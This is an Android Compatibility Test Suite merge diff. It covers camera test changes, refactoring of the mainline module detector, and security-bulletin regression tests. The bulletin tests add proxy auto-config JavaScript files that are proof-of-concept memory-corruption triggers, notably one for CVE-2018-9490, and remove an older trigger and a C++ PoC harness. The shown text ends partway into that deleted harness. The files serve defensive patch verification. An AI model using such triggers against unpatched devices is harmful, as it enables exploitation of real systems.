Merge "Add new CTS for background call audio" am: 0188038b56
am: 10996a1396
Change-Id: I70561557eca46829fa94f820c58b0f879c914e11
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 1f457f4..3c39205 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -12,16 +12,9 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import os
-import os.path
-import sys
-import re
-import json
-import tempfile
-import time
-import unittest
-import subprocess
import math
+import unittest
+
def int_to_rational(i):
"""Function to convert Python integers to Camera2 rationals.
@@ -322,6 +315,23 @@
return fmt
+def get_largest_jpeg_format(props, match_ar=None):
+ """Return a capture request and format spec for the largest jpeg size.
+
+ Args:
+ props: the object returned from its.device.get_camera_properties().
+ match_ar: aspect ratio to match
+
+ Returns:
+ fmt: an output format specification, for the largest possible jpeg
+ format for this device.
+ """
+ size = get_available_output_sizes("jpeg", props, match_ar_size=match_ar)[0]
+ fmt = {"format": "jpeg", "width": size[0], "height": size[1]}
+
+ return fmt
+
+
def get_max_digital_zoom(props):
"""Returns the maximum amount of zooming possible by the camera device.
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 4d601e8..de134a7 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -84,7 +84,7 @@
for ar_string in AR_CHECKED:
match_ar = [float(x) for x in ar_string.split(":")]
try:
- f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+ f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
if f["height"] > height_max:
height_max = f["height"]
if f["width"] > width_max:
@@ -113,8 +113,8 @@
return ar_scaling
-def find_yuv_fov_reference(cam, req, props):
- """Determine the circle coverage of the image in YUV reference image.
+def find_jpeg_fov_reference(cam, req, props):
+ """Determine the circle coverage of the image in JPEG reference image.
Args:
cam: camera object
@@ -131,7 +131,7 @@
for ar in AR_CHECKED:
match_ar = [float(x) for x in ar.split(":")]
try:
- f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+ f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
fmt_dict[f["height"]*f["width"]] = {"fmt": f, "ar": ar}
except IndexError:
continue
@@ -143,16 +143,18 @@
cap = cam.do_capture(req, fmt_dict[ar_max_pixels]["fmt"])
w = cap["width"]
h = cap["height"]
+ fmt = cap["format"]
+
img = its.image.convert_capture_to_rgb_image(cap, props=props)
- print "Captured %s %dx%d" % ("yuv", w, h)
- img_name = "%s_%s_w%d_h%d.png" % (NAME, "yuv", w, h)
+ print "Captured %s %dx%d" % (fmt, w, h)
+ img_name = "%s_%s_w%d_h%d.png" % (NAME, fmt, w, h)
_, _, circle_size = measure_aspect_ratio(img, False, img_name, True)
fov_percent = calc_circle_image_ratio(circle_size[1], circle_size[0], w, h)
ref_fov["fmt"] = fmt_dict[ar_max_pixels]["ar"]
ref_fov["percent"] = fov_percent
ref_fov["w"] = w
ref_fov["h"] = h
- print "Using YUV reference:", ref_fov
+ print "Using JPEG reference:", ref_fov
return ref_fov
@@ -237,7 +239,7 @@
# If raw capture is available, use it as ground truth.
if raw_avlb:
# Capture full-frame raw. Use its aspect ratio and circle center
- # location as ground truth for the other jepg or yuv images.
+ # location as ground truth for the other jpeg or yuv images.
print "Creating references for fov_coverage from RAW"
out_surface = {"format": "raw"}
cap_raw = cam.do_capture(req, out_surface)
@@ -311,9 +313,9 @@
ref_fov["h"] = h_raw
print "Using RAW reference:", ref_fov
else:
- ref_fov = find_yuv_fov_reference(cam, req, props)
+ ref_fov = find_jpeg_fov_reference(cam, req, props)
else:
- ref_fov = find_yuv_fov_reference(cam, req, props)
+ ref_fov = find_jpeg_fov_reference(cam, req, props)
# Determine scaling factors for AR calculations
ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"], props)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b7a1247..882a01c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1722,6 +1722,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
<meta-data android:name="test_required_features"
android:value="android.hardware.sensor.accelerometer"/>
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".sensors.GyroscopeMeasurementTestActivity"
@@ -1734,6 +1736,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
<meta-data android:name="test_required_features"
android:value="android.hardware.sensor.gyroscope"/>
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.automotive"/>
</activity>
<activity android:name=".sensors.HeartRateMonitorTestActivity"
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index 85c2753..f32d79da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -55,9 +55,9 @@
private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
private static final String SUITE_PLAN = "verifier";
private static final String SUITE_BUILD = "0";
- private static final long START_MS = System.currentTimeMillis();
- private static final long END_MS = START_MS;
private static final String ZIP_EXTENSION = ".zip";
+ private final long START_MS = System.currentTimeMillis();
+ private final long END_MS = START_MS;
private final Context mContext;
private final TestListAdapter mAdapter;
diff --git a/apps/MainlineModuleDetector/Android.mk b/apps/MainlineModuleDetector/Android.mk
index b99f8f7..5b8e316 100644
--- a/apps/MainlineModuleDetector/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -1,5 +1,5 @@
#
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -21,6 +21,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
+
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := MainlineModuleDetector
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
index 9a36cc6..4cc8f8c 100644
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
+<!-- Copyright (C) 2019 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
index 5e473d6..01c02c7 100644
--- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
+++ b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
@@ -1,14 +1,28 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
package com.android.cts.mainlinemoduledetector;
import android.app.Activity;
-import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
-import android.os.Build;
import android.os.Bundle;
import android.util.Log;
-import java.security.MessageDigest;
-import java.util.EnumSet;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
import java.util.HashSet;
import java.util.Set;
@@ -16,143 +30,20 @@
private static final String LOG_TAG = "MainlineModuleDetector";
- private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
-
- enum ModuleType {
- APEX,
- APK
- }
-
- enum MainlineModule {
- // Security
- MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
- true, ModuleType.APEX,
- "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
- + ":C1:A7:B7:C9:1D"),
- MEDIA("com.google.android.media",
- true, ModuleType.APEX,
- "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
- + ":E8:B9:98:F9:FD"),
- DNS_RESOLVER("com.google.android.resolv",
- true, ModuleType.APEX,
- "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
- + ":68:5F:EB:A6:FF"),
- CONSCRYPT("com.google.android.conscrypt",
- true, ModuleType.APEX,
- "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
- + ":D3:83:79:CA:2A"),
- // Privacy
- PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
- false, ModuleType.APK,
- "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
- + ":D9:E6:C0:0F:83"),
- ANDROID_SERVICES("com.google.android.ext.services",
- false, ModuleType.APK,
- "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
- + ":AE:8A:26:0B:29"),
- DOCUMENTS_UI("com.google.android.documentsui",
- true, ModuleType.APK,
- "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
- + ":F4:09:02:52:97"),
- // Consistency
- TZDATA("com.google.android.tzdata",
- true, ModuleType.APEX,
- "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
- + ":F2:A0:F6:53:89"),
- NETWORK_STACK("com.google.android.networkstack",
- true, ModuleType.APK,
- "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
- + ":F6:0B:F6:2C:1E"),
- CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
- true, ModuleType.APK,
- "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
- + ":F6:0B:F6:2C:1E"),
- NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
- true, ModuleType.APK,
- "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
- + ":F6:0B:F6:2C:1E"),
- MODULE_METADATA("com.google.android.modulemetadata",
- true, ModuleType.APK,
- "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
- + ":D5:FD:A0:33:0F"),
- ;
-
- String packageName;
- boolean isPlayUpdated;
- ModuleType moduleType;
- String certSHA256;
-
- MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
- String certSHA256) {
- this.packageName = packageName;
- this.isPlayUpdated = isPlayUpdated;
- this.moduleType = moduleType;
- this.certSHA256 = certSHA256;
- }
- }
-
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
- String modules = String.join(",", getPlayManagedModules());
- Log.i(LOG_TAG, "Play managed modules are: <" + modules + ">");
+ PackageManager pm = getApplicationContext().getPackageManager();
+ Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
+ Set<String> moduleNames = new HashSet<>();
+ for (MainlineModule module : modules) {
+ moduleNames.add(module.packageName);
+ }
+ Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
} catch (Exception e) {
Log.e(LOG_TAG, "Failed to retrieve modules.", e);
}
this.finish();
}
-
- private Set<String> getPlayManagedModules() throws Exception {
- Set<String> playManagedModules = new HashSet<>();
-
- PackageManager pm = getApplicationContext().getPackageManager();
-
- Set<String> packages = new HashSet<>();
- for (PackageInfo info : pm.getInstalledPackages(0)) {
- packages.add(info.packageName);
- }
- for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
- packages.add(info.packageName);
- }
-
- for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
- if (module.isPlayUpdated && packages.contains(module.packageName)
- && module.certSHA256.equals(getSignatureDigest(module))) {
- playManagedModules.add(module.packageName);
- }
- }
- return playManagedModules;
- }
-
- private String getSignatureDigest(MainlineModule module) throws Exception {
- PackageManager pm = getApplicationContext().getPackageManager();
- int flag = PackageManager.GET_SIGNING_CERTIFICATES;
- if (module.moduleType == ModuleType.APEX) {
- flag |= PackageManager.MATCH_APEX;
- }
-
- PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
- MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
- messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
-
- final byte[] digest = messageDigest.digest();
- final int digestLength = digest.length;
- final int charCount = 3 * digestLength - 1;
-
- final char[] chars = new char[charCount];
- for (int i = 0; i < digestLength; i++) {
- final int byteHex = digest[i] & 0xFF;
- chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
- chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
- if (i < digestLength - 1) {
- chars[i * 3 + 2] = ':';
- }
- }
-
- String ret = new String(chars);
- Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
- return ret;
- }
-
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 6516bcc..02aaad8 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -74,6 +74,13 @@
Log.i(TAG, "Finding business logic for test case: " + testName);
BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
mBusinessLogic.applyLogicFor(testName, executor);
+ } else {
+ /* There are cases in which this is an acceptable outcome, and we do not want to fail.
+ * For instance, some business logic rule lists are only sent from the server
+ * for certain devices (see go/aes-gts). Devices exempt from those rules will
+ * receive no BL config for some tests, and this should result in a pass.
+ */
+ Log.d(TAG, "No business logic found for test: " + testName);
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
new file mode 100644
index 0000000..b34242e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * Enum containing metadata for mainline modules.
+ */
+public enum MainlineModule {
+ // Security
+ MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
+ true, ModuleType.APEX,
+ "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
+ + ":C1:A7:B7:C9:1D"),
+ MEDIA("com.google.android.media",
+ true, ModuleType.APEX,
+ "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
+ + ":E8:B9:98:F9:FD"),
+ DNS_RESOLVER("com.google.android.resolv",
+ true, ModuleType.APEX,
+ "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
+ + ":68:5F:EB:A6:FF"),
+ CONSCRYPT("com.google.android.conscrypt",
+ true, ModuleType.APEX,
+ "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
+ + ":D3:83:79:CA:2A"),
+ // Privacy
+ PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
+ false, ModuleType.APK,
+ "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
+ + ":D9:E6:C0:0F:83"),
+ ANDROID_SERVICES("com.google.android.ext.services",
+ false, ModuleType.APK,
+ "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
+ + ":AE:8A:26:0B:29"),
+ DOCUMENTS_UI("com.google.android.documentsui",
+ true, ModuleType.APK,
+ "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+ + ":F4:09:02:52:97"),
+ // Consistency
+ TZDATA("com.google.android.tzdata",
+ true, ModuleType.APEX,
+ "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
+ + ":F2:A0:F6:53:89"),
+ NETWORK_STACK("com.google.android.networkstack",
+ true, ModuleType.APK,
+ "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+ + ":F6:0B:F6:2C:1E"),
+ CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
+ true, ModuleType.APK,
+ "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+ + ":F6:0B:F6:2C:1E"),
+ NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
+ true, ModuleType.APK,
+ "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+ + ":F6:0B:F6:2C:1E"),
+ MODULE_METADATA("com.google.android.modulemetadata",
+ true, ModuleType.APK,
+ "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+ + ":D5:FD:A0:33:0F"),
+ ;
+
+ public final String packageName;
+ public final boolean isPlayUpdated;
+ public final ModuleType moduleType;
+ public final String certSHA256;
+
+ MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
+ String certSHA256) {
+ this.packageName = packageName;
+ this.isPlayUpdated = isPlayUpdated;
+ this.moduleType = moduleType;
+ this.certSHA256 = certSHA256;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
new file mode 100644
index 0000000..11b467d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Detects mainline modules.
+ */
+public class ModuleDetector {
+ private static final String LOG_TAG = "MainlineModuleDetector";
+
+ private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+ /**
+ * Return true if a module is play managed.
+ *
+ * Example of skipping a test based on mainline modules:
+ * <pre>
+ * @Test
+ * public void testPocCVE_1234_5678() throws Exception {
+ * if(!ModuleDetector.moduleIsPlayManaged(
+ * getInstrumentation().getContext().getPackageManager(),
+ * MainlineModule.MEDIA_SOFTWARE_CODEC)) {
+ * doStagefrightTest(R.raw.cve_2018_5882);
+ * }
+ * }
+ * </pre>
+ */
+ public static boolean moduleIsPlayManaged(PackageManager pm, MainlineModule module)
+ throws Exception {
+ return getPlayManagedModules(pm).contains(module);
+ }
+
+
+ /**
+ * Return all play managed mainline modules.
+ */
+ public static Set<MainlineModule> getPlayManagedModules(PackageManager pm) throws Exception {
+ Set<MainlineModule> playManagedModules = new HashSet<>();
+
+ Set<String> packages = new HashSet<>();
+ for (PackageInfo info : pm.getInstalledPackages(0)) {
+ packages.add(info.packageName);
+ }
+ for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
+ packages.add(info.packageName);
+ }
+
+ for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
+ if (module.isPlayUpdated && packages.contains(module.packageName)
+ && module.certSHA256.equals(getSignatureDigest(pm, module))) {
+ playManagedModules.add(module);
+ }
+ }
+ return playManagedModules;
+ }
+
+ private static String getSignatureDigest(PackageManager pm, MainlineModule module)
+ throws Exception {
+ int flag = PackageManager.GET_SIGNING_CERTIFICATES;
+ if (module.moduleType == ModuleType.APEX) {
+ flag |= PackageManager.MATCH_APEX;
+ }
+
+ PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
+ MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+ messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
+
+ final byte[] digest = messageDigest.digest();
+ final int digestLength = digest.length;
+ final int charCount = 3 * digestLength - 1;
+
+ final char[] chars = new char[charCount];
+ for (int i = 0; i < digestLength; i++) {
+ final int byteHex = digest[i] & 0xFF;
+ chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+ chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+ if (i < digestLength - 1) {
+ chars[i * 3 + 2] = ':';
+ }
+ }
+
+ String ret = new String(chars);
+ Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
+ return ret;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
new file mode 100644
index 0000000..b50d62c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * File type of mainline module.
+ */
+public enum ModuleType {
+ APEX,
+ APK
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index de7c837..15aa05e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -514,7 +514,7 @@
// enforcement, so we verify that total/free space are identical.
final long totalDelta = Math.abs(current.getTotalSpace() - primary.getTotalSpace());
final long freeDelta = Math.abs(current.getFreeSpace() - primary.getFreeSpace());
- if (totalDelta > MB_IN_BYTES || freeDelta > MB_IN_BYTES) {
+ if (totalDelta > MB_IN_BYTES * 300 || freeDelta > MB_IN_BYTES * 300) {
fail("Expected primary storage to be on same volume as app");
}
}
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
index ea876d9..d128c2d 100644
--- a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -16,6 +16,7 @@
package android.checkpoint.cts;
+import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.CtsDownstreamingTest;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceTestCase;
@@ -30,6 +31,9 @@
@CtsDownstreamingTest
public void testLogEntries() throws Exception {
+ // This test is build also as a part of GTS, which runs also on older releases.
+ if (ApiLevelUtil.isBefore(getDevice(), "Q")) return;
+
// Clear buffer to make it easier to find new logs
getDevice().executeShellCommand("logcat --clear");
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5fbfbd5..d1551d0 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -181,7 +181,6 @@
<!--__________________-->
<!-- Bulletin 2018-10 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
- <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
<option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
<!--__________________-->
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
new file mode 100644
index 0000000..9fb7ba8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
@@ -0,0 +1,15 @@
+function FindProxyForURL(url, host){
+ alert("enter");
+ let arr = [];
+ arr[1000] = 0x1234;
+
+ arr.__defineGetter__(256, function () {
+ delete arr[256];
+ arr.unshift(1.1);
+ arr.length = 0;
+ });
+
+ Object.entries(arr).toString();
+ alert(JSON.stringify(entries));
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/res/bug_138442295.pac b/hostsidetests/securitybulletin/res/bug_138442295.pac
deleted file mode 100644
index fc8fd5f..0000000
--- a/hostsidetests/securitybulletin/res/bug_138442295.pac
+++ /dev/null
@@ -1,7 +0,0 @@
-function FindProxyForURL(url, host){
- _v3 = ({ _v7 = (function outer() {
- for ([...[]][function inner() {}] in []) {}
- })} = {}) => {};
- _v3();
- return "DIRECT";
-}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_139806216.pac b/hostsidetests/securitybulletin/res/bug_139806216.pac
new file mode 100644
index 0000000..3a1e34d
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_139806216.pac
@@ -0,0 +1,4 @@
+function FindProxyForURL(url, host){
+ var x = new ArrayBuffer(1);
+ return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp
deleted file mode 100644
index faa1a0f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-// Copyright (C) 2018 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_test {
- name: "CVE-2018-9490",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp"],
- shared_libs: ["libpac"],
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
deleted file mode 100644
index c6d332a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
